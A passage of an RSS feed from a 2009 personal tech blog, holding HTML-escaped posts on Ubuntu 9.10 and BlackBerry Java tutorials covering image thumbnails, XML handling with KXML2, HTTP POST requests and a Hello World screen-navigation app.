/&gt;&lt;table border=&quot;0&quot; style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/fLCsG7pocmnbjOXxMK9-yg?feat=embedwebsite&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/Su04NnJ7ZuI/AAAAAAAAA5w/N9jQ5Dl-VxI/s288/Screenshot-F-Spot%2520View.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;From &lt;a href=&quot;http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite&quot;&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table border=&quot;0&quot; style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/6FUXXJoe_8BDimq2acPcOA?feat=embedwebsite&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;http://lh4.ggpht.com/_Pms4ehFPMfI/Su037HfOykI/AAAAAAAAA5s/DDNU11f8gl4/s288/Screenshot.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style=&quot;font-family: arial,sans-serif; font-size: 11px; text-align: right;&quot;&gt;From &lt;a href=&quot;http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite&quot;&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Well there are several more new features, so go on download a Karmic CD install it and checkout for yourself ;)&lt;br /&gt;Do promote Ubuntu by passing the CD to your friends. Enjoy the new experience with Karmic Koala.
</description>
<pubDate>Sun, 01 Nov 2009 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2009/11/new-features-in-ubuntu-9-10-karmic-koala.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/11/new-features-in-ubuntu-9-10-karmic-koala.html</guid>
</item>



<item>
<title>Generating thumbnail from a captured image in Blackberry</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Blackberry OS v4.6 and later will allow you to directly interact with camera and capture images. Till OS v4.5 for capturing image you needed to invoke the default camera application present in Blackberry using Invoke api. After capturing you may want to display the image as a thumbnail to user so now you will have question how can you do this. Even I had this same question and looked into many forums but didn't get a satisfactory answer later when I saw the Blackberry api reference i found a function by name &lt;b&gt;scaleImage32&lt;/b&gt; under &lt;b&gt;EncodedImage&lt;/b&gt; class. But I couldn't make it work properly since i had to convert my Bitmap image into EncodedImage and then use the function and get the Bitmap from this scaled image using getBitmap which is an expensive  call requiring lot of processing along with that whatever i get as output of this function was only 4bytes which means there was some problem in my logic. After struggling a lot I looked at the class &lt;b&gt;Bitmap &lt;/b&gt;in the JDE refernce i found the &lt;b&gt;createBitmapFromBytes&lt;/b&gt; allowed scaling and this function worked perfectly fine. Below is the piece of code which does this work.&lt;br /&gt;&lt;br /&gt;&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;FileConnection fc = null;&lt;br /&gt;InputStream  is = null;&lt;br /&gt;int length;&lt;br /&gt;byte[] data = null;&lt;br /&gt;Bitmap thumbnail = null;&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;fc = (FileConnection)Connector.open(filename);&lt;br /&gt;is = fc.openInputStream();&lt;br /&gt;if(fc.exists()) {&lt;br /&gt;length = (int)fc.fileSize();&lt;br /&gt;data = new byte[length];&lt;br /&gt;fc.read(data,0,length);&lt;br /&gt;thumnail = Bitmap.createBitmapFromBytes(data,0,length,20);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;catch(Exception e)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Prototype of createBitmapFromBytes is as follows&lt;br /&gt;&lt;/div&gt;&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;static Bitmap createBitmapFromBytes(byte[] bytes, int offset, int length, int scale)&lt;br /&gt;&lt;/pre&gt;Here I've just mentioned the logic modify it to suite your needs. Your thumbnail will be returned as Bitmap object which you can use easily in your application.&lt;br /&gt;One more thing I wanted to add here is scale factor to get thumbnail sized image your scale factor should be more than 20. C ya till next time
</description>
<pubDate>Wed, 14 Oct 2009 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2009/10/generating-thumbnail-from-a-captured-image-in-blackberry.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/10/generating-thumbnail-from-a-captured-image-in-blackberry.html</guid>
</item>



<item>
<title>Managing data using XML in Blackberry</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;XML files are good  medium for storing and exchanging the data over the network and they are widely used in many technologies to store and exchange the data. A good example which I can provide here are the web services, configuration files of many java based application servers and java based web projects and also in the API's of famous social network sites like twitter.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;It is easy to store the data as a XML file in application that you develop for the blackberry. Though there are storage options like record store and persistent objects available in Blackberry I prefer the XML files over them. Blackberry provides SAX parser for parsing and modifying XML but I felt little difficult to use SAX api so I choose &lt;a href=&quot;http://kxml.sourceforge.net/kxml2/&quot; target=&quot;_blank&quot; title=&quot;KXML2&quot;&gt;KXML &lt;/a&gt;as best alternative for SAX. I'm going to tell how to create a XML file using KXML without loosing a sweat and parsing the already existing XML files.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Creating a simple XML file using KXML2 api's&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Consider a simple XML file as shown below.&lt;br /&gt;&lt;pre class=&quot;xml&quot; name=&quot;code&quot;&gt;&amp;lt;? xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&amp;gt;&lt;br /&gt;&amp;lt;company&amp;gt; &amp;lt;employee id=&quot;1&quot;&amp;gt; &amp;lt;fname&amp;gt;Vasudev&amp;lt;/fname&amp;gt; &amp;lt;lname&amp;gt;Kamath&amp;lt;/lname&amp;gt; &amp;lt;address&amp;gt;Karkala&amp;lt;/address&amp;gt; &amp;lt;/employee&amp;gt; ... &amp;lt;/company&amp;gt; &lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Use the below mentioned code for creating a xml file like above, the code itself is self explanatory.&lt;br /&gt;&lt;pre class=&quot;java&quot; name=&quot;code&quot;&gt;Document d = new Document();&lt;br /&gt;Element root = d.createElement(&quot;&quot;,&quot;company&quot;);&lt;br /&gt;Element employee = d.createElement(&quot;&quot;,&quot;employee&quot;);&lt;br /&gt;e.setAttribute(&quot;&quot;,&quot;id&quot;,&quot;1&quot;);&lt;br /&gt;&lt;br /&gt;Element fname = d.createElement(&quot;&quot;,&quot;fname&quot;);&lt;br /&gt;fname.addChild(Node.TEXT,&quot;Vasudev&quot;);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Element lname = d.createElement(&quot;&quot;,&quot;lname&quot;);&lt;br /&gt;lname.addChild(Node.TEXT,&quot;Kamath&quot;);&lt;br /&gt;&lt;br /&gt;Element address = d.createElement(Node.TEXT,&quot;address&quot;);&lt;br /&gt;address.addChild(Node.TEXT,&quot;Karkala&quot;);&lt;br /&gt;&lt;br /&gt;employee.addChild(Node.ELEMENT,fname);&lt;br /&gt;employee.addChild(Node.ELEMENT,lname);&lt;br /&gt;employee.addChild(Node.ELEMENT,address);&lt;br /&gt;&lt;br /&gt;root.addChild(Node.ELEMENT,employee);&lt;br /&gt;d.addChild(Node.ELEMENT,root);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Here first i'm creating a Document which is going to represent my XML file and then i'm creating the nodes required in my XML. The Node.ELEMENT represents and entire XML tag and its contents. For example  is an XML Element and if you look at  tag the content b/w opening and closing tag is simple text and is represented using Node.TEXT.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Next step is to write this document to the file for which  we need KXmlSerializer which is part of KXML2 apis. Below is the code to write the document to file&lt;br /&gt;&lt;/div&gt;&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;String fileName = &quot;file:///SDCard/Blackberry/company.xml&quot;&lt;br /&gt;DataOutputStream os = null;&lt;br /&gt;FileConnection fc = null&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;try&lt;br /&gt;{&lt;br /&gt;fc = (FileConnection)Connector.open(filename,Connector.READ_WRITE);&lt;br /&gt;if (! fc.exists())&lt;br /&gt;fc.create();&lt;br /&gt;&lt;br /&gt;os = fconn.openDataOutputStream();&lt;br /&gt;KXmlSerializer serializer = new KXmlSerializer();&lt;br /&gt;serializer.setOutput(os, &quot;UTF-8&quot;);&lt;br /&gt;d.write(serializer);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;catch (IOException e) {&lt;br /&gt;// TODO Auto-generated catch block&lt;br /&gt;e.printStackTrace();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;As you can see it is very simple to create XML files using KXML2 api's and possibility of missing few ending tags while writing XML file is very less since API itself takes care of creating XML files.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Ok next step is parsing the XML file and it is also pretty simple.I'll tell how to read the XML file into a Document() object and parse it and functions required to get a particular node and its child node remaining logic you need to implement depending on your requirements. Below is the code for reading a file to Document and parsing it.&lt;br /&gt;&lt;/div&gt;&lt;pre class=&quot;java&quot; name=&quot;code&quot;&gt;Document d= new Document();&lt;br /&gt;FileConnection fc =  null;&lt;br /&gt;DataInputStream is = null;&lt;br /&gt;try {&lt;br /&gt;fc = (FileConnection) Connector.open(fileName, Connector.READ);&lt;br /&gt;is = fc.openDataInputStream();&lt;br /&gt;&lt;br /&gt;KXmlParser parser = new KXmlParser();&lt;br /&gt;parser.setInput(is, &quot;UTF-8&quot;);&lt;br /&gt;d.parse(parser);&lt;br /&gt;} catch (IOException e) {&lt;br /&gt;// TODO Auto-generated catch block&lt;br /&gt;e.printStackTrace();&lt;br /&gt;} catch (XmlPullParserException e) {&lt;br /&gt;// TODO Auto-generated catch block&lt;br /&gt;e.printStackTrace();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This code gets the entire XML file to Document() object d and also parses it !!. Amazing rite you didn't even do a file read operation and yet have the whole content into Document() object. Well this is why I liked KXML more than SAX. If you are interested in seeing how it does you can get the source code of KXML2 api's  and see. Now you have XML file in Document() object next how to get the required node? It is very simple you have function called &lt;b&gt;getElement(String namespace,name)&lt;/b&gt; which gets particular node from its name in the XML file. There are many such functions available in KXML2 apis for more information look at its java doc &lt;a href=&quot;http://kxml.sourceforge.net/kxml2/javadoc/&quot; target=&quot;_blank&quot; title=&quot;KXML2 Javadoc&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Last thing which I want to mention here is KXML library is meant not only for Blackberry but all those phones which supports  J2ME. You need to have either KXML2 jar as library in your project or if you want to debug the KXML2 then you need to &lt;a href=&quot;http://sourceforge.net/project/downloading.php?group%5Fid=9157&amp;amp;filename=kxml2-src-2.3.0.zip&amp;amp;a=104174&quot; target=&quot;_blank&quot;&gt;KXML2 source code&lt;/a&gt; and &lt;a href=&quot;http://www.xmlpull.org/v1/download/xmlpull_1_1_3_4c_src.zip&quot; target=&quot;_blank&quot; title=&quot;XML Pull parser&quot;&gt;XML Pull parser source code&lt;/a&gt;. For more information on adding external library to your project please look at  KB article in Blackberry website.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Reference : &lt;a href=&quot;http://stackoverflow.com/questions/877428/better-approach-for-xml-creation-in-blackberry/1259070#1259070&quot; target=&quot;_blank&quot; title=&quot;Stack Overflow&quot;&gt;Stack Overflow&lt;/a&gt; forums&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 11 Oct 2009 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2009/10/managing-data-using-xml-in-blackberry.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/10/managing-data-using-xml-in-blackberry.html</guid>
</item>



<item>
<title>Posting Data via Http from Blackberry</title>
<description>&lt;div style=&quot;-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;&quot;&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;In this post i'm going to tel how to post the data to web services, don't misunderstand web service to SOAP services. I'm talking about normal webpages designed using jsp,php or asp or similar server side technology. We will be using URLEncodedPostData class from&lt;span style=&quot;font-weight: bold;&quot;&gt;net.rim.blackberry.api.browser&amp;nbsp;&lt;/span&gt;package&amp;nbsp;to create a url encoded data which will be posted to webserver. For connecting to a particular website we will use HttpConnection class defined in&amp;nbsp;&lt;span style=&quot;font-weight: bold;&quot;&gt;javax.microedition.io&lt;/span&gt;&amp;nbsp;package.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;First let us see how to create URL encoded data to post to server using URLEncodedPostData class. I should remind you this is a signed class and requires code signing for loading the program into actual device. If you want to avoid this you need to write your own function to encode your data into URL Encoded format. Now lets see how to do this using URLEncodedPostData class&lt;br /&gt;&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;URLEncodedPostData _postData = new URLEncodedPostData(&quot;&quot;,false);&lt;br /&gt;_postData.append(&quot;name&quot;,&quot;value&quot;);&lt;br /&gt;&lt;/pre&gt;First argument to constructor is encoding which is to be used leaving it as empty string means use default encoding. Second argument tells whether to use WAP conventions for encoding or not. append(String,String) function is used to create the URL encoded data. For example if your data is in the form fname=vasudev&amp;amp;lname=kamath then you can create this string by writing like this&lt;br /&gt;&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;_postData.append(&quot;fname&quot;,&quot;vasudev&quot;);&lt;br /&gt;_postData.append(&quot;lname&quot;,&quot;kamath&quot;);&lt;br /&gt;&lt;/pre&gt;Now you know how to prepare your data lets move forward to creating connection to the webserver and then sending the prepared data using HTTP POST method. We will be using HttpConnection class for this purpose.&lt;br /&gt;&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;bytes [] postDataBytes = _postData.getBytes();&lt;br /&gt;HttpConnection _httpCon = (HttpConnection)Connector.open(url);&lt;br /&gt;_httpConnection.setRequestMethod(HttpConnection.POST);&lt;br /&gt;_httpConnection.setRequestProperty(&quot;User-Agent&quot;,&quot;Profile/MIDP-2.0 Configuration/CLDC-1.0&quot;);&lt;br /&gt;_httpConnection.setRequestProperty(&quot;Content-Language&quot;, &quot;en-US&quot;);&lt;br /&gt;_httpConnection.setRequestProperty(&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded&quot;);&lt;br /&gt;_httpConnection.setRequestProperty(&quot;Content-Length&quot;,(new Integer(postDataBytes.length)).toString());&lt;br /&gt;&lt;/pre&gt;setRequestMethod function tells which method is used to send data it can have 2 values either HttpConnection.GET or HttpConnection.POST. The &quot;User-Agent&quot; string tells webserver about the browser which is sending the data. All above mentioned properties are present in standard Http headers and more detail on them can be found in this&amp;nbsp;&lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html&quot; mce_href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html&quot; target=&quot;_blank&quot; title=&quot;HTTP/1.1 Header Field Definitions&quot;&gt;link&lt;/a&gt;. Of all the properties important ones are last 2 i.e&amp;nbsp;&lt;span style=&quot;font-weight: bold;&quot;&gt;Content-Type&amp;nbsp;&lt;/span&gt;and&amp;nbsp;&lt;span style=&quot;font-weight: bold;&quot;&gt;Content-Length&amp;nbsp;&lt;/span&gt;if you forget to mention these to webserver will not be able to read the data you sent. Here Content-Type is set to &quot;&lt;span style=&quot;font-weight: bold;&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;&quot; which tells webserver that request contains url encoded form data. If you are planning to send files in the request to browser you should set Content-Type to &quot;&lt;span style=&quot;font-weight: bold;&quot;&gt;multipart/form-data&lt;/span&gt;&quot; instead of this if you use&amp;nbsp;&amp;nbsp;&quot;&lt;span style=&quot;font-weight: bold;&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;&quot; you will get response code as 500 meaning internal server error. Now you have prepared HTTP header with all required fields next step is to write the data to webserver which is done as follows.&lt;br /&gt;&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;OutputStream os = _httpCon.openOutputStream();&lt;br /&gt;os.write(_postData.getBytes());&lt;br /&gt;os.flush(); // not required&lt;br /&gt;int rc = _httpCon.getResponseCode(); //causes data to be sent to server and get response back&lt;br /&gt;&lt;/pre&gt;Depending on the response code you can do further processing. Response code for successful post will be 200 (HttpConnection.HTTP_OK) for more on response codes please see this&amp;nbsp;&lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html&quot; mce_href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html&quot; target=&quot;_blank&quot; title=&quot;HTTP/1.1 Status Code Definition&quot;&gt;link&lt;/a&gt;.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Here is a generic class which i designed for posting the data and getting response back in the form of string. Hope it will help you in your program. If there are &amp;nbsp;any mistakes in my post or in the code or any improvement to the code please mention it as comment.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;import java.io.*;&lt;br /&gt;import javax.microedition.io.*;&lt;br /&gt;import net.rim.blackberry.api.browser.URLEncodedPostData;&lt;br /&gt;class HttpPost&lt;br /&gt;{&lt;br /&gt;    private String _url;&lt;br /&gt;    private URLEncodedPostData _postData;&lt;br /&gt;    private byte[] _data;&lt;br /&gt;    private HttpConnection _httpConnection;&lt;br /&gt;    private OutputStream os;&lt;br /&gt;    private InputStream is;&lt;br /&gt;&lt;br /&gt;    HttpPost(String url,URLEncodedPostData data) {&lt;br /&gt;        _postData = postData;&lt;br /&gt;        _url = url;&lt;br /&gt;        try {&lt;br /&gt;          _httpConnection = (HttpConnection)Connector.open(_url);&lt;br /&gt;        } catch(Exception e) {&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public String postData() {&lt;br /&gt;         try {&lt;br /&gt;            bytes [] postDataBytes = _postData.getBytes();&lt;br /&gt;            _httpConnection.setRequestMethod(HttpConnection.POST);&lt;br /&gt;            _httpConnection.setRequestProperty(&quot;User-Agent&quot;,&quot;Profile/MIDP-2.0 Configuration/CLDC-1.0&quot;);&lt;br /&gt;            _httpConnection.setRequestProperty(&quot;Content-Language&quot;, &quot;en-US&quot;);&lt;br /&gt;            _httpConnection.setRequestProperty(&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded&quot;);&lt;br /&gt;            _httpConnection.setRequestProperty(&quot;Content-Length&quot;,new Integer(postDataBytes.length).toString());&lt;br /&gt;            os = _httpConnection.openOutputStream();&lt;br /&gt;            os.write(_postDataBytes);&lt;br /&gt;            &lt;br /&gt;            int rc = _httpConnection.getResponseCode();&lt;br /&gt;            if(rc == HttpConnection.HTTP_OK) {&lt;br /&gt;                  is = _httpConnection.openInputStream();&lt;br /&gt;                  is.read(_data);&lt;br /&gt;            } else {&lt;br /&gt;              _data = null;&lt;br /&gt;            }&lt;br /&gt;       } catch(Exception e) {&lt;br /&gt;       }&lt;br /&gt;       return (new String(_data));&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;In my next post i'll show how XML files can be handled in blackberry using KXML library. Till then C'ya :)&lt;/div&gt;(&lt;b&gt;Note: In case you are not able to see the code properly because of template you can refer to my other blog &lt;/b&gt;&lt;a href=&quot;http://vasudevkamath.techfiz.com/2009/09/13/posting-data-via-http-from-blackberry/&quot;&gt;&lt;b&gt;here&lt;/b&gt;&lt;/a&gt;)
</description>
<pubDate>Sun, 13 Sep 2009 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2009/09/posting-data-via-http-from-blackberry.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/09/posting-data-via-http-from-blackberry.html</guid>
</item>



<item>
<title>Blackberry Sample Application</title>
<description>&lt;div style=&quot;-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;&quot;&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Blackberry uses custom J2ME so for developping application for BlackBerry you need to have JDE (Java DEvelopment Environment) from RIM (Research In Motion).&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Its a common practise in any computer language &amp;nbsp;we learn is to start with Hello World ! example. As usual i'm going to give a brief intro on BlackBerry application using a Hello World but i've added a bit more that is how to do screen navigation in blackberry application. Well below is the sample code which I prepared.&lt;/div&gt;&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;import net.rim.device.api.ui.*;&lt;br /&gt;import net.rim.device.api.ui.container.*;&lt;br /&gt;import net.rim.device.api.ui.component.*;&lt;br /&gt;public class HelloWorldDemo extends UiApplication {&lt;br /&gt;    private MainScreen _screen;&lt;br /&gt;    private ButtonField _nextScreen;&lt;br /&gt;&lt;br /&gt;    public static void main(String[] args) {&lt;br /&gt;         HelloWorldDemo instance = new HelloWorldDemo();&lt;br /&gt;         instance.enterEventDispatcher();&lt;br /&gt;    }&lt;br /&gt;    public HelloWorldDemo() {&lt;br /&gt;         _screen = new MainScreen();&lt;br /&gt;         _nextScreen = new ButtonField(&quot;Go to Next Screen&quot;,ButtonField.FIELD_HCENTER | ButtonField.CONSUME_CLICK);&lt;br /&gt;         _nextScreen.setChangeListener(new FieldChangeListener() {&lt;br /&gt;               public void fieldChanged(Field field,int context) {&lt;br /&gt;                  pushScreen(new NextScreen());&lt;br /&gt;               }&lt;br /&gt;          });&lt;br /&gt;          _screen.setTitle(new LabelField(&quot;Hello World Demo&quot;,LabelField.USE_ALL_WIDTH));&lt;br /&gt;          _screen.add(new RichTextField(&quot;Hello to the BlackBerry World!&quot;,Field.NON_FOCUSABLE));&lt;br /&gt;          _screen.add(_nextScreen);&lt;br /&gt;          pushScreen(_screen);&lt;/code&gt;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;class NextScreen extends MainScreen {&lt;br /&gt;    public NextScreen() {&lt;br /&gt;          setTitle(new LabelField(&quot;Second Screen !&quot;,LabelField.USE_ALL_WIDTH));&lt;br /&gt;          add(new RichTextField(&quot;This is new screen&quot;,Field.NON_FOCUSABLE));&lt;br /&gt;          ButtonField _btnGoBack = new ButtonField(&quot;Go Back&quot;,ButtonField.FIELD_HCENTER | ButtonField.CONSUME_CLICK);&lt;br /&gt;          _btnGoBack.setChangeListener(new FieldChangeListener() {&lt;br /&gt;                public void fieldChanged(Field field,int context) {&lt;br /&gt;                      UiApplication.getUiApplication().popScreen();&lt;br /&gt;                }&lt;br /&gt;               });&lt;br /&gt;          add(_btnGoBack);&lt;br /&gt;     }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Well blackberry uses different program structure than MIDLETs and is popularly called as RIMLETs or CLDC applications. Let me describe the structure of a CLDC application.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;As you can see program has a public class which contains a main() method which is not there in MIDP applications. Normally most of the screen related operation is done in constructors and class containing main() method extends net.rim.device.api.ui.UiApplication class. In my example class HelloWorldDemo extends UiApplication. In the constructor for this class we create instance of NextScreen and push it on to display stack using pushScreen(Screen screen) method.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;For designing a screen your class must either extend the Screen class or its subclasses or it should have instance of subclasses of Screen. Here the class NextScreen extends the MainScreen. To add a element to screen we use add(Field field) method. For adding menu items we can use addMenuItem(MenuItem menu) method. I've used add method to add a new RichTextField(non-editable) and a ButtonField.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Now you must be thinking how to know when button is clicked. For this you need to register a method using setFieldChangeListener(FieldChangeListener listener). Here FieldChangeListener is an interface with a method fieldChanged which I implemented by creating instance for interface there itself. Whatever is need to be done when button is clicked is written inside this method. As you can see I'm using popScreen method when button Go Back is clicked what this method does is poping the current screen from display stack i.e you will be seeing first screen when you click on go back button.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Below is the screen shots of the first application you developped.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;table border=&quot;0&quot; class=&quot;mceItemTable&quot; style=&quot;border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; cursor: default; width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; margin-bottom: 8px; margin-left: 8px; margin-right: 8px; margin-top: 8px;&quot;&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/mgRYHk6KRgWlCaGu5uFFdQ?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite&quot; mce_href=&quot;http://picasaweb.google.com/lh/photo/mgRYHk6KRgWlCaGu5uFFdQ?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite&quot;&gt;&lt;img alt=&quot;&quot; mce_src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/SnVPr7VOMlI/AAAAAAAAA34/noPIXlpc-EU/s800/screen-1.jpg&quot; src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/SnVPr7VOMlI/AAAAAAAAA34/noPIXlpc-EU/s800/screen-1.jpg&quot; style=&quot;border-bottom-width: 0px; border-color: initial; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-style: initial; border-top-width: 0px;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div mce_style=&quot;text-align: center&quot; style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; mce_name=&quot;strong&quot; mce_style=&quot;font-weight: bold;&quot; style=&quot;font-weight: bold;&quot;&gt;Screen - 1&lt;/span&gt;&lt;/div&gt;&lt;div mce_style=&quot;text-align: center&quot; style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; mce_name=&quot;strong&quot; mce_style=&quot;font-weight: bold;&quot; style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;table border=&quot;0&quot; class=&quot;mceItemTable&quot; style=&quot;border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; cursor: default; width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; margin-bottom: 8px; margin-left: 